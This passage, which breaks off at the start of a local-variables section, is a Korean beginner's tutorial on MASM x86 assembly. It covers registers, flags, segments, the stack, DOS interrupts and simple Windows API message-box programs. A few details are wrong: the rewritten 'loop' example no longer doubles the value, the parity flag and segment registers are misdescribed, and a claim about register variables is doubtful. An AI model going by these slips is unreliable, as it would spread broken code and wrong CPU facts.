모든언어의 표준 입문 방식인 「Hello World」프로그램을, MASM으로 간단하게 만들어 보자. 물론 무슨 내용인지 몰라도 상관없다. 모르는것이 당연한 것이며, 그래서 본 문서가 있는것이다.

;**********************************************************************
; 최초 MASM 프로그래밍
; 주석은 세미콜론으로
;**********************************************************************

.586
.model flat, stdcall

NULL            EQU     0

MessageBoxA     proto :dword, :dword, :dword, :dword
ExitProcess     proto :dword

.data

TITLE1          DB '어셈블리 테스트', 0
MESSAGE         DB '~Hello World!!~', 0

.code
WinMainCRTStartup   proc

    invoke MessageBoxA, NULL, offset MESSAGE, offset TITLE1, 0
    invoke ExitProcess, 0
    ret
WinMainCRTStartup   endp
end

이 내용을 어셈블(assemble) 한 후 실행하면(F5), "~Hello World!!~"라고 표시되는 메시지 박스가 화면에 표시된다.

(안된다면 십중 팔구 오타이니 복사해서 붙여넣기 바란다)

(주의) 위의 소스에는 편의상 색을 다르게 표시했지만, 실제로는 변하지 않는다. (전용 통합환경을 사용하면 모든기능을 사용할 수가 있다. 많은것을 바라지는 말기 바란다. WinASM IDE를 사용하라.)


Chapter 2   하드웨어의 구조

개요 : 컴퓨터에 대해서

Chapter 2 - 1   하드웨어

이번에는, 간단하게 하드웨어의 구조에 대해 설명한다. 하드웨어의 구조라 하더라도, USB의 규격이나, 메인보드는 어떻게 구성되어 있는가, 그런 것을 다루는 것이 아니다. 대부분을 CPU 의 구조에 대해 설명을 할 것이다. 「최소한, 이것만은 반드시 알아야 한다」라는 부분을 위주로 해서 설명해 나갈것이다.

다음의 순서로 설명 할 것이다.

  1. 어셈블러에서 가능한 것
  2. 저장장치(레지스터/메모리/스택)
  3. 외부 입력과 외부 출력(I/O)·인터럽트
  4. BIOS·시스템 콜·VRAM

Chapter 2 - 2   어셈블러에서 가능한 것

먼저, 왜 어셈블러를 사용 할까? 그 이유는, 몇가지가 있다. 대부분의 프로그래밍은, C언어로도 충분하다. 일반적으로 말해, 언어가 고급으로 될수록 , 인터프리터성이 높아져서 , 언어가 사람이 이해하기 쉬워지지만, 그 언어로 실제 수행되는 부분은 오히려 감소하게 된다. 즉, Basic과 C언어의 예를 들면, Basic에서 할수 있는 일은 C언어로도 수행 할 수 있다.하지만 반대로, C언어로 수행할 수 있는 것이 반드시 Basic 에서 수행된다는 보장은 없다. 같은 맥락으로 C언어와 어셈블러의 관계에서도 존재한다. 예를 들어 C언어에서는, 하드웨어를 직접조작은 할 수 없다(물론 인라인어셈블리를 사용할 수는 있지만). 단지 예를 든것이다. 그렇기 때문에, 직접 하드웨어를 조작하고 싶은 경우 등에 어셈블러를 사용한다. 직접 하드 디스크의 트랙이나 섹터를 조작하고 싶은 경우에 어셈블러를 사용한다라고 생각하면 이해하기 쉬울 것이다.

프로그램이 고속성을 요구하는 경우, C언어보다 어셈블러 쪽이 일반적으로 빠르기 때문에, 이런 경우는 어셈블러에서 프로그램을 주로 짠다. 그렇지만, 어셈블러는 너무 로우레벨이므로, 프로그래밍에는 상당한 노력을 필요로 하고 코딩의 양도 많아진다. 그러므로, 어셈블러에서만 프로그래밍을 하는 것은, 현실적이지는 않다. 많은 경우, C언어등의 고급(중급) 언어와 함께 조합해서 사용하게 된다.

Chapter 2 - 3   저장장치(레지스터/메모리/스택)

기억장치에는, 3 종류가 있다. 레지스터와 메모리와 스택이다. 이 밖에도, 보조기억장치로 하드 디스크나 플로피 디스크등이 있다. 어셈블러에서는, 주로 레지스터와 스택을 이용한다.

레지스터는, CPU의 내부에 있는 기억장치이다. CPU의 내부에 존재하므로, 액세스 속도 또한 아주 빠르다. 그렇지만, 레지스터는, 무한정으로 사용할 수 있는 자원이 아니다. 레지스터의 종류에는, 3개 있다. 범용 레지스터,세그먼트 레지스터,플래그 레지스터.

레지스터 종류 해설
범용 레지스터
8개가 있다. 프로그램에서 사용된다.
세그먼트 레지스터
6개가 있다. 세그먼트(segment)의 관리에 사용된다.
상태 레지스터
1개가 있다. CPU 상태를 기억한다. 일반적으로 변경할 수 없다.

프로그래밍에서는, 거의 대부분 범용 레지스터를 사용한다. 범용 레지스터에는, 다음의 8가지가 있다. 모두 32 비트이다.

레지스터명 해설
EAX
어큐물레이터. 수치계산에 사용되는 레지스터.
EBX
베이스 레지스터. 보조 계산이나, 그 외의 용도에 사용되는 레지스터.
ECX
카운터 레지스터. 보조 계산이나, 카운터, 루프에서 사용되는 레지스터.
EDX
데이터 레지스터. 보조 계산이나, 데이터용 조작용의 레지스터.
ESI
소스 인덱스. 보조 계산이나, 데이터 처리 인스트럭션으로 사용되는 레지스터.
EDI
목적지 인덱스. 보조 계산이나, 데이터 처리 인스트럭션으로 사용되는 레지스터.
ESP
스택 포인터. 스택 처리로 사용되는 레지스터.
EBP
베이스 포인터. 스택 처리로 사용되는 레지스터.

C언어에서 변수의 수식자에 register 를 지정할 수 있다.(레지스터변수) 이런 경우 실제로는, 변수에 ESI(소스 인덱스)와 EDI(목적지 인덱스)를 사용하게 된다.또한, 계산용의 레지스터로서 ESP(스택 포인터)와 EBP (베이스 포인터) 를 사용할 수 없다. 이런 레지스터 들은, 스택관리라고 하는 중요한 임무가 있기 때문 이다. 수치계산은, 실질적으로 6개의 레지스터로 하게 된다. 각각의 레지스터에는, 고유한 역할도 있으므로, 거기에 맞춰서 프로그램을 짜지 않으면 안된다. 왜 이런 엄격한 룰이 존재하는지를 탓하지 말기 바란다. 컴퓨터는 복잡한 장치이다. 하지만 이런 기초적인 룰만 익히면 어떤언어보다 강력함을 얻을수 있다. 대충 아는 언어와는 다른 것이다.

 

32 비트의 경우, 누산기는 EAX 로 취급하지만 하위 16 비트를 AX 로서 다룰 수도 있다. AX 는 또 다시, 상위 8 비트를 AH , 하위 8 비트를 AL 로 나타낸다. 이것은, EBX ECX EDX 의 경우도 같다.

그렇다면, 이제 레지스터를 사용한 프로그램을 살펴보자.

;*****************************************************************
;  레지스터를 사용한 프로그램
;*****************************************************************

.586                   ; Pentium 용의 코드를 쓰는 경우 필요
.model flat, stdcall

NUM         EQU   1

wsprintfA   proto c :dword, :dword, :dword, :dword, :dword
MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      DB 64 DUP(0)
STRINGS     DB '%d + %d = %d', 0
TITLENAME   DB '결과는? ', 0

.code

WinMainCRTStartup proc

    mov eax, NUM     ; 누산기에 대입
    mov ebx, NUM + 1 ; 베이스 레지스터에 대입
    add eax, ebx     ; 누산기와 베이스 레지스터를 더한다

    invoke wsprintfA, offset BUFFER, offset STRINGS, NUM, ebx, eax
    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0
    invoke ExitProcess, 0

    ret
WinMainCRTStartup endp

end

덧셈을 한 후, 메시지 박스로 표시하는 프로그램이다("1+2=3"). 레지스터는, EAX(누산기)와 EBX(베이스 레지스터)를 사용하고 있다. 프로그램에서 mov 나 add 등을 니모닉이라 한다. 니모닉은, 기계어의 비트 표현을 문자표현으로 나타낸 것이다. 예를 들어 mov 라면, MOVe 의 약자로 「대입」을 의미한다. add (은)는 ADD 로 「가산」을 의미한다. 프로그램에서는 누산기와 베이스 레지스터에 수를 대입해서 ,덧셈을 수행하고 있다.

MASM에서, 함수를 프로시저라고 부른다. 프로시저의 정의는, proc - endp 로 한다. 위의 예에서는 , WinMainCRTStartup 라는 프로시저가 정의되어 있고, 그 사이의 기계어 인스트럭션이 실행되고 있다고 생각하면 된다.

이 함수는 스타트 업 코드(Startup Code)로 불리고 프로그램에서 가장 먼저 호출되는 함수다. 보통 C로 프로그램을 짜는 경우, 스타트 업 코드는 자동으로 생성되어 링크 된다. 또한 스타트 업 코드는, 프로그램을 초기화하는데 사용된다. VC++ 로 Windows 프로그래밍을 하는 경우, 스타트 업 코드는 WinMainCRTStartup 함수지만, Console 용의 프로그램의 경우는 mainCRTStartup 함수가 스타트 업 코드가 된다. 통합 환경에 의해, 스타트 업 코드 함수의 이름은 각각 다르다.반드시 정해진것은 아니다. 개발자 마음인것이다. main이란것을 찾지만 말기 바란다. 이것은 C언어의 룰일 뿐이다.실제로는 이런것은 없다.

Chapter 2 - 4   그 외 레지스터

상태 레지스터(flag register)는, 하나 밖에 없다. 레지스터의 내부는, CPU 상태를 보존하고 있다. 일반적으로 상태 레지스터 전체를 변경할 수 없다(스택을 사용하면 변경할 수 있지만, 권하는 방법은 아니다 pushf / popf). 플래그의 종류는,상태 플래그,제어 플래그,시스템 플래그의 3개가 있다. 상태 플래그는, 연산의 결과 상태가 보존된다. 상태 플래그의 종류는 다음과 같다.

플래그명 비트 해설
CF (Carry Flag) 0 carry flag. 자리수가 올라가면 세트.
PF (Parity Flag) 2 패리티플래그. 연산 결과가 짝수일 경우 세트.
AF (Adjust Flag) 4 조절 플래그. 2 진화 10진(BCD) 연산에서 사용.
ZF (Zero Flag) 6 제로 플래그. 연산 결과가 제로일 경우 세트.
SF (Sign Flag) 7 부호 플래그. 연산 결과가 부호가 있는 경우 세트.
OF (Overflow Flag) 11 오버플로우 플래그. 오버플로우가 발생하면 세트.

일반적으로 상태 플래그는 변경할 수 없지만, carry flag는 변경 가능하다. 니모닉 STC (SeT Carry flag), CLC (CLear Carry flag) 인스트럭션으로 변경할 수 있다.

제어 플래그는 DF (Direction Flag ; 방향 플래그) 밖에 없다. string 인스트럭션(메모리 전송 인스트럭션)에서, 메모리 전송 방향을 지정한다. 니모닉으로는, STD (SeT Direction flag) CLD (CLear Direction flag)를 사용한다.

시스템 플래그는, 가상 8086 인스트럭션이나 인터럽트 제어 등에 사용되지만 본 문서에서는 설명하지 않는다.인텔의 아키텍쳐 메뉴얼을 참조하기 바란다.

그러면, 상태 레지스터를 사용한 간단한 프로그램을 만들어 보자.

;*****************************************************************
;  상태 레지스터를 사용한 프로그램
;*****************************************************************

.586
.model flat, stdcall   ; 메모리모델은 플랫으로…

NUM         equ   1

wsprintfA   proto c :dword, :dword, :dword
MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      db 64 DUP(0)
STRINGS     db '2의 10승은 %d 입니다', 0
TITLENAME   db '2의 10승을 푸는 문제', 0

.code

WinMainCRTStartup proc

    mov eax, NUM
    mov ecx, 10

MYLOOP:
    mov ebx, eax
    add eax, ebx
    dec ecx       ; ecx 의 값을 1 감소
    jnz MYLOOP    ; 제로 플래그가 세트 되지않으면 루프

    invoke wsprintfA, offset BUFFER, offset STRINGS, eax
    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0
    invoke ExitProcess, 0

    ret
WinMainCRTStartup endp

end

먼저 WinMainCRTStartup 함수의 내용보자. 이번에는 2의 10승을 구하는 문제이다("2의 10승은 1024입니다"). ECX 레지스터의 내용을 1씩 감소해 가면서, ECX 레지스터가 0이 되면 종료하는 루프를 만들었다. dec (DECrement)라는 니모닉은, 레지스터의 내용을 1 감소시키는 인스트럭션이다(C에서 abc--). jnz (Jump if Non-Zero flag)란, 제로 플래그가 세트되지 않는 동안, 지정된 주소에 점프 하는 조건 점프 인스트럭션이다. 여기에서는 MYLOOP 라고 하는 주소로 점프 한다. MYLOOP 와 같이, 이름의 뒤에 구두점을(콜론) 붙여서 주소에 이름을 지정할 수가 있다.(레이블)

이번 예제에서는 상태 플래그의 사용법을 보기 위해서, 귀찮은 방법으로 프로그래밍했지만, 루프를 할 경우는 좀 더 편리한 니모닉이 준비되어 있다바로 loop (LOOP if ecx is non-zero) 라는 것이 있다. 위의 내용을 다시 작성하면 아래와 같이 된다.

mov ecx, 10    ; 루프 시키고 싶은 횟수만 ECX 에 대입

MYLOOP:
    mov ebx, eax
    mov eax, ebx
    loop MYLOOP    ; ECX 를 1줄여 0이 될 때까지 반복한다

또한 실제로 , 2의 계승을 구하는 좀 더 간단한 방법도 있다. 쉬프트를 사용하는 방법이다.

세그먼트(segment) 레지스터의 종류에는 다음과 같은 종류가 있다. 모두 16 비트이다.

레지스터 해설
CS 코드 세그먼트 실행 코드가 존재하는 세그먼트
DS ES FS GS 데이터 세그먼트 데이터가 존하는 세그먼트
SS 스택 세그먼트 스택이 존재하는 세그먼트

16 비트 시절에는 DS와 ES가 있었지만, 현재에는 FS DS 가 더해져서, 모두 「데이터 세그먼트」라고 불려진다.

세그먼트(segment)란, 연속된 메모리를 필요에 따라서 분할하고, 그 하나하나를 가리키는 의미이다. 예를 들어, 1개의 프로그램에는, 실행 코드와 데이터가 있다. 이것을 분할한 영역에 두는것이 바로, 세그먼트(segment)의 발상이다. 예를 들면, 실행 코드는 CS 세그먼트(segment)에 놓여지고, 데이터는 DS 세그먼트(segment)에 놓여지게 된다. 세그먼트(segment)는 같은 연속적인 메모리에 할당할 수 있고, 세그먼트(segment)끼리 서로 겹쳐 지는 경우도 있다.

예제 프로그램을 보면 .code 라고 하는 code segment를 정의하고 있다. 또한 .data 라는 데이터 세그먼트를 정의하고 있다. 그 밖에도 .stack 등도 있어서, 스택 세그먼트도 정의할 수가 있다. 하나의 세그먼트(segment)에는, 4 G바이트까지(!) 사용할 수 있다(2의 32승 : 그래서 32비트). 예를 들어 CS 세그먼트(segment)라면 CS:00000000h ~ CS:FFFFFFFFh 까지의 영역이 존재한다. 물론, 실제 메모리는 이렇게 사용되지는 않는다. 단지 예를 든 것이다.

 

Chapter 2 - 5   메모리

기억장치이다.「메모리」에 값을 대입할 수도 있다. 우선, 프로그램을 보자.

;*****************************************************************
;  메모리를 사용하는 프로그램
;*****************************************************************

.586
.model flat, stdcall  
; stdcall 은 함수의 호출 방법을 정의!

NUM         equ   32

MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      db 128 dup(? )
TITLENAME   db '메모리에 대입하는 프로그램', 0

.code

WinMainCRTStartup proc

    mov    ecx, NUM            ; 카운터의 회수
    mov    edx, offset BUFFER  ; 버퍼의 포인터
    mov    ah, 20h
    ;

 _LOOP0:
    mov    byte ptr [edx], ah
    inc    ah
    inc    edx
    loop   _LOOP0

    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0
    invoke ExitProcess, 0

    ret

WinMainCRTStartup endp

end

이번 프로그램은, 128바이트의 정적 버퍼를 확보하고, 그 영역에 문자를 차례차례 대입하는 프로그램이다. 실제로 「 ! "#$%&'()*+,-. /0123456789:<=>?」라는 문자가 대입된다. ASCII 코드의 20h 부터 3Fh 까지이다. 메모리에 대입하는 경우에는 ptr 연산자를 사용한다. [edx]란 edx 가 가리키는 메모리를 나타냅니다. byte ptr [edx] 란, 「edx 가 가리키는 메모리에 바이트값(8 비트)으로 값을 대입하라」라는 의미이다. 워드값으로 값을 대입하는 경우에는, word ptr [edx] 가 된다. C에서 어렵다고 하는 "포인터"이다. 어셈블리에서는 기본이 포인터이므로, 복잡하지 않다. 필자의 경우도

처음에 C를 할때 괜히 헷갈렸다. 오히려.......

Chapter 2 - 6   스택

스택은, 후입선출 (Last-In First-Out) 형태의 데이터 구조이다. 어셈블러에서 스택은 중요한 역할을 한다. 레지스터의 내용을 일시적으로 저장하거나 프로시저 호출 시에 인수를 스택에 넣거나 한다. 특히 C언어나 Pascal 등은, 함수 호출시 인수를 스택에 넣어 호출을 수행한다.이것을 함수호출 규약이라고 부른다.

그렇다면, 스택을 이용한 프로그램을 보자.

;*****************************************************************
;  스택을 사용한 프로그램
;*****************************************************************

.586
.model flat, stdcall

NUM         equ   5

wsprintfA   proto c :dword, :dword, :dword
MessageBoxA proto   :dword, :dword, :dword, :dword
ExitProcess proto   :dword

.data

BUFFER      db 64 dup(0)
TITLENAME   db '스택을 사용하는 프로그램', 0
STR1        db '카운트다운 %d', 0

.code

WinMainCRTStartup proc

    mov     ecx, NUM

 _LOOP0:
    push    ecx       ; SubFunc 로 ECX 를 스택에 보존
    call    SubFunc
    pop     ecx
    loop    _LOOP0

    invoke ExitProcess, 0

    ret

WinMainCRTStartup endp

SubFunc proc          ; 새로운 프로시저를 정의

    invoke wsprintfA, offset BUFFER, offset STR1, ecx
    invoke MessageBoxA, 0, offset BUFFER, offset TITLENAME, 0

    mov     ecx, 99   ; 여기서 ECX 의 값을 바꿔도, 스택에 값이 보존되있기 때문에 문제없다

    ret

SubFunc endp

end

이번에는, SubFunc 라는 새로운 프로시저(함수)를 만들어 보았다. 간단한 프로그램이므로, 특별히 문제는 없을 것이다. ("카운트다운 5")라는 결과가 나온다.이후 "카운트다운 4" "3"등으로 1까지 감소한다. push 니모닉은 레지스터의 내용을 스택에 대입한다. pop 은 스택으로부터 값을 레지스터에 대입한다.스택을 사용하는 MOVe라고 생각하면 쉽다. call 은 프로시저를 호출한다. 이 때, 현재 실행중인 주소를 스택에 대입하고 나서 프로시저로 점프 한다. 프로시저에서 돌아오는 경우에, ret 을 사용한다. ret 은 스택으로부터 값을 꺼내고, 호출시 원래의 주소로 돌아오게 된다.

Chapter 2 - 7   I/0·인터럽트

CPU 로 계산만 수행해서는, 컴퓨터의 진정한 능력을 사용 할 수가 없다. 컴퓨터의 기능을 활용하기 위해서는, 주변장치의 입력이나 출력을 제어할 수 있어야 한다. 예를 들어, 키보드로부터 입력을 받는다거나 디스플레이 장치에에 결과를 표시하거나. 이런것을 제어하기 위해서 I/O 공간을 사용한다. I/O 공간은 16 비트의 공간에서 16 진수로 말하면 0000h - FFFFh 의 공간이다 (16 진수는 수치뒤에[h] 를 붙인다). 이 공간으로 데이터를 전송 하거나(외부 출력), 데이터를 받거나(외부 입력) 하는 방식으로 , 주변장치를 액세스 할 수가 있다.

윈도우즈에는, 「시스템 정보」를 표시하는 프로그램이 있다. 「시작 메뉴」의 「보조프로그램」안의 「시스템정보」 이다.이 프로그램으로, 어떻게 I/O 공간이 할당되어 있는지를 볼 수가 있다.

인터럽트는 하드웨어 인터럽트와 소프트웨어 인터럽트의 2 종류가 있습니다. 하드웨어 인터럽트란, 외부로부터 입력이 있었을 경우, 현재의 프로그램을 일시중지 하고, 별도의 프로그램을 실행하는 기능입니다. 예를 들어, 프로그램 A를 실행중에 키보드가 눌렸다고 가정 합시다. 이 경우 키보드가 눌려진 키를 버퍼에 보존해 두어야만 합니다. 거기서 하드웨어 인터럽트가 발생해 키보드버퍼에 값이 저장됩니다. 물론 하드웨어 인터럽트가 발생하면 , 플래그와 레지스터의 값은 스택에 저장되므로, 원래의 프로그램에는 아무런 영향도 끼치지 않습니다.

하드웨어 인터럽트의 예

소프트웨어 인터럽트의 예

이와는 달리, 소프트웨어 인터럽트는 프로그램에서 명시적으로 MS-DOS의 함수 호출이나, BIOS의 프로시저를 호출하는 것을 말합니다.(즉, 프로그래머가 발생시키는 인터럽트를 의미합니다)

프로그램의 예를 보고 이해하시기 바랍니다.

;******************************************************************************
; 소프트웨어 인터럽트를 사용한 프로그램
;   이 프로그램은 MS-DOS용의 프로그램입니다
;   VC에서는 실행할 수 없습니다. 참고용으로 제작한 것입니다.
;******************************************************************************

.model small, c   ; 모델에서 small문을 먼저 기록하게되면 세그먼트(segment)는 16 비트가 된다
.286

;******************************************************************************
; 프로세스의 종료 매크로
;******************************************************************************
end_process macro ret_value

            mov   al, ret_value
            mov   ah, 4ch
            int   21h

            endm
;******************************************************************************
; 캐릭터 라인의 표시 매크로
;******************************************************************************
display     macro string

            mov   dx, offset string
            mov   ah, 09h
            int   21h

            endm

;******************************************************************************
; 1 캐릭터 입력(에코 없음) 매크로
;   AL = 키보드로부터 입력된 캐릭터
;******************************************************************************
read_kbd    macro

            mov   ah, 08h
            int   21h

            endm

;******************************************************************************
; 데이터 정의
;******************************************************************************
.data

MSG         db '이 프로그램은 즉시 종료합니다', 0dh, 0ah, '$'

;******************************************************************************
; 실행 프로세스
;******************************************************************************
.code

START:
            mov   ax, _DATA
            mov   ds, ax

            display     MSG   ; 메세지를 표시

            read_kbd          ; 버튼 입력 대기

            end_process 0     ; 프로그램의 종료


end START ; end 의사 인스트럭션의 뒤에는 스타트 지점을 기술

주석에서도 밝혔듯이, VC에서는 실행할 수 없습니다. VC의 링커는 32 비트이므로, 이 프로그램은 16 비트의 링커로 링크 하지 않으면 안됩니다. 16 비트의 링커는 아래에서 다운로드 받아서 사용하기 바랍니다.

ftp://ftp.microsoft.com/softlib/mslfiles/lnk563.exe

압축해제하면 16 비트의 링커가 생성됩니다. 32 비트용의 링커가 아니므로 주의하기 바랍니다.

이번 예에서는 매크로 정의하고 있습니다. 매크로는 함수와 달리, 호출된 곳에 치환됩니다. "복사" "붙여넣기"와 유사합니다. 호출이 아니고 대신 코드문이 바로 나타나게 됩니다. 이기능으로 매크로 어셈블리라고 불리게 됩니다. C++의 인 라인 함수와 같은 것입니다. 매크로는 보면 알 수 있듯이 macro - endm 로 정의되고 있습니다. 함수 호출에 대해서는, 16 비트 어셈블러 쪽을 참고 하시길 바랍니다.

Chapter 2 - 8   BIOS/시스템 콜 /VRAM

BIOS 는 메인보드에 장착되어 있는, 로우레벨로 하드웨어 조작을 하는 프로그램입니다. BIOS 는 소프트웨어라고 불리지 않고 펌 웨어라고 불리어 집니다. 직접 하드 디스크의 섹터에 기록하거나 읽어들이거나 하는 처리나, 플로피 디스크의 조작등의 로우레벨 함수들로 구성되어 있습니다.즉, 실제로 컴퓨터를 움직이는 가장 밑부분입니다.

시스템 콜이란, BIOS 나 OS 의 로우레벨 함수를 호출하는 것을 말합니다.

VRAM (Video RAM)에는, 캐릭터 VRAM 와 그래픽 VRAM 가 있습니다. 캐릭터 VRAM 란, 메모리상의 캐릭터를 디스플레이에 표시하는 RAM 입니다. 메모리상에 직접 캐릭터를 입력하는 것으로, 화면상에 캐릭터를 동기적으로 표시 할 수가 있습니다. 그래픽 VRAM 란, 메모리상의 데이터를 그래픽으로서 표시하는 RAM 입니다. 메모리와 화면의 그래픽은 서로 대응하고 있으므로, 메모리에 기록하는 것으로, 직접그림이나 곡선같은 객체등을 화면에 표시할 수가 있습니다. 그래픽 보드등에 있는 램에 해당합니다.

대부분의 경우 그래픽 VRAM 는, A000 : 0000 에 할당되어 있습니다.

우선 하드웨어의 구조는 이것이 다 입니다. 너무 간단하다고 생각 하실 것입니다. 윈도우 프로그래밍을 하게 될려면 먼저 도스나 시스템 프로그램에 대해서 알아야 합니다. 모든것에는 단계가 있습니다. 본 강좌는 상세 매뉴얼이 아닙니다. 이전에 한번쯤은 익혀보셨던 내용을 다시금 간단히 정리한 것입니다. 하지만 프로그래밍은 많은것을 요구하지는 않습니다. 간단한 명령어로도 훌륭한 프로그램을 작성 할 수 있습니다. 알고리즘을 언어의 문법에 맞게끔 작성하는 도구일 뿐입니다.이것을 이해하지 못하게되면 각종 언어를 섭렵해도 멀 했는지 모르게되는 딜레마에 빠지게 됩니다. 예를 들어서 영어의 문법만 잔뜩외우게 된후 실제 대화는 못하게 되는것이랑 같습니다. 미국의 꼬마는 문법을 배우지 않습니다. 말부터 배우고 자연히 문법을 익혀서 오류를 줄이고 멋지게 표현하는 법을 배우는것과 같은 이치입니다. 언어는 도구입니다.라는 말을 각종 개발자사이트에서 하는 이유는 이것입니다. 모든것을 외우려 하지 마시길 바랍니다. 기본적인것을 배우시고 활용을 하다가보면 막히는 부분도 발생하고 그런부분을 하나하나 익혀가시게 되면서 익히는 겁니다. 에 에 에 문법과 알고리즘을 보강하시게되고, 나중에는 자신만의 라이브러리와 개발방식을 타인에게 전파시킬 수 있는 것입니다.

그래도 먼가 찜찜하다고 생각하시는 분들은 어셈블리 기초강좌를 참조하시기 바랍니다. 이역시 강좌를 할 것입니다.

다음부터는 Windows 프로그래밍을 하게 됩니다. 기초지식으로서는, Windows API 에 대한 지식이 필요합니다만, 너무 자세히 알려하시기 전에 가볍게 체험 하신후에 별도의 서적등으로 공부하시기 바랍니다. MSDN도 훌륭합니다. 여기서는 자세하게 설명하지는 않습니다.


Chapter 3   Windows 프로그래밍

개요 : Windows 프로그래밍

Chapter 3 - 1   Windows 프로그래밍

MASM으로 Windows 프로그래밍을 시작해보자!

기초지식으로 Windows API, C 언어,CPU 등의 기본지식이 필요하다. 이런 부분에 대해서는 본 문서에서 자세히 설명하지 않으므로, 공부하기 바란다.

 

Chapter 3 - 2  최초의 프로그램

MASM으로 Windows 프로그래밍을 하는 것이지만, 처음으로 작성하는 것이라서 주석을 달아 두겠다.

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 어셈블러 윈도우프로그래밍
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.486
.model flat, stdcall

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 정의
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL      =       0
MB_OK     =       0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; prototype
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
MessageBoxA proto :dword, :dword, :dword, :dword
ExitProcess proto :dword

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 데이터 세그먼트
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.data

MSG1      db	'메세지 테스트',0
TITLE1    db	'타이틀',  0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; code segment
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.code

WinMainCRTStartup	proc
    invoke MessageBoxA, NULL, offset MSG1, offset TITLE1, MB_OK
    invoke ExitProcess, 0
    ret
WinMainCRTStartup	endp

end

하나씩 설명하겠다. 먼저 .486 지시어이다. MASM에서, 486용의 인스트럭션을 생성하는 지시어이다. 예를 들어, .386으로 하게되면, 80386용의 인스트럭션을 생성하게 된다. .386p와 같이, CPU명 뒤에 p를 붙이게되면 특권 인스트럭션도 사용할 수 있게 된다. (p는 privilage→특권의 약자)

다음으로 .model 지시어이다. 이 인스트럭션은 메모리모델이라는 메모리사용 규약을 정한다. Win32 프로그램의 경우에는 플랫메모리모델만 사용하기 대문에, 메모리모델에는항상 flat를 지정한다. 또한, 함수(프로시저)의 호출 규약에는, Windows 프로그램 라이브러리의 호출 규약인 stdcall을 지정한다.

프로그램에서, WinMainCRTStartup라는 프로시저를 정의하고 있다. 프로시저를 정의하려면 , proc 지시어를 사용한다. 또, 프로시저 호출방법에는, 여러 가지가 있지만, 간략화된 호출 방법으로 invoke 지시어를 사용할 수가 있다. Invoke만 호출해줌으로써, MASM에서 프로시저 호출을 간단하게 수행할 수가 있게 된다. 복잡한 스택처리르 해주게된다. 이명령어와 다른 몇가지로 인해서 고급언어와 비슷하게 프로그램을 하게 될 수 있게 된다.

Windows 프로그램의 종료에는, 반드시 ExitProcess를 호출해야 한다. VC++에서는, 내부적으로 ExitProcess 를 호출한다. 왜 반드시 호출해야하는가 하면 , ExitProcess를 호출하지 않으면 완전하게 프로세스가 종료하지 않기 때문이다. 만약 호출하지 않는 경우는, 메모리상에 쓰레기값이 남는 경우도 발생할 수도 있다.

Chapter 3 - 3   인스턴스 핸들

인스턴스 핸들이란, 각각의 모듈의 실체를 나타내는 핸들이다.선뜻 이해가 되지 않을것이다 . 좀 더 자세하게 설명을 하겠다.

Windows에는, 모든 오브젝트를 "핸들" 로 다루게 된다. 그렇기 때문에 Windows에서, 실행 파일이 메모리상에 로드 되면, 어떤 형태로든 이"인스턴스"를 관리하지 않으면 안 되는 것이다. Windows는, 어플리케이션이 자신의 인스턴스에 대해서 조작을 수행할 경우 "인스턴스 핸들"을 그 값으로 넘겨주게 된다.(조작용 번호라고 생각하기 바란다)

그런데, 왜 인스턴스 핸들이 필요한가 를 설명하면, 실행파일(혹은 모듈)에 속해있는 리소스를 얻을려고 하는 경우에는, 이 인스턴스 핸들을"키"로해서 Windows에 요청해야 하는 것이다. 인스턴스 핸들의 존재 의미는,어찌보면 당연한 것이다.

먼저, 프로그램을 살펴보자.

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 어셈블러 윈도우 프로그래밍
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.586
.model flat, stdcall

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 정의
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL	=	0
MB_OK	=	0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; prototype
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
MessageBoxA       proto   :dword, :dword, :dword, :dword
GetModuleHandleA  proto   :dword
wsprintfA         proto c :dword, :dword, :dword
ExitProcess       proto   :dword

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 데이터 세그먼트
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.data

MSG1	db	'인스턴스 핸들: 0x%X', 0
TITLE1	db	'타이틀 ', 0

STR1	db	64 dup(0)
hModule	dd	?

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; code segment
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.code

WinMainCRTStartup	proc
    invoke GetModuleHandleA, NULL
    mov    hModule, eax

    invoke wsprintfA, offset STR1, offset MSG1, hModule
    invoke MessageBoxA, NULL, offset STR1, offset TITLE1, MB_OK
    invoke ExitProcess, 0

    ret
WinMainCRTStartup	endp

end

실행(F5)해보면 모듈핸들 번호를 메세지 박스로 표시해준다. 컴퓨터마다 다를수 있으나 보통 0x400000형식이다.모듈 핸들을 얻기위해서는 GetModuleHandle 함수를 사용한다. 함수명 뒤에 붙어 있는 A의 의미는 문자열이 Ascii 코드라는 의미이다. 함수명 뒤가 W일 경우는, 문자열이 UNICODE라는 의미이다. 참고삼아 기억해 두기 바란다.

(NT의 경우는 기본값으로 유니코드방식이다)

WindowsAPI에 대해서는, MSDN 라이브러리를 참조하기 바란다.

Chapter 3 - 4   로컬 변수

다음에는, 로컬 변수에 대해서 알아보자.

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 어셈블러 윈도우 프로그래밍
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

.586
.model flat, stdcall
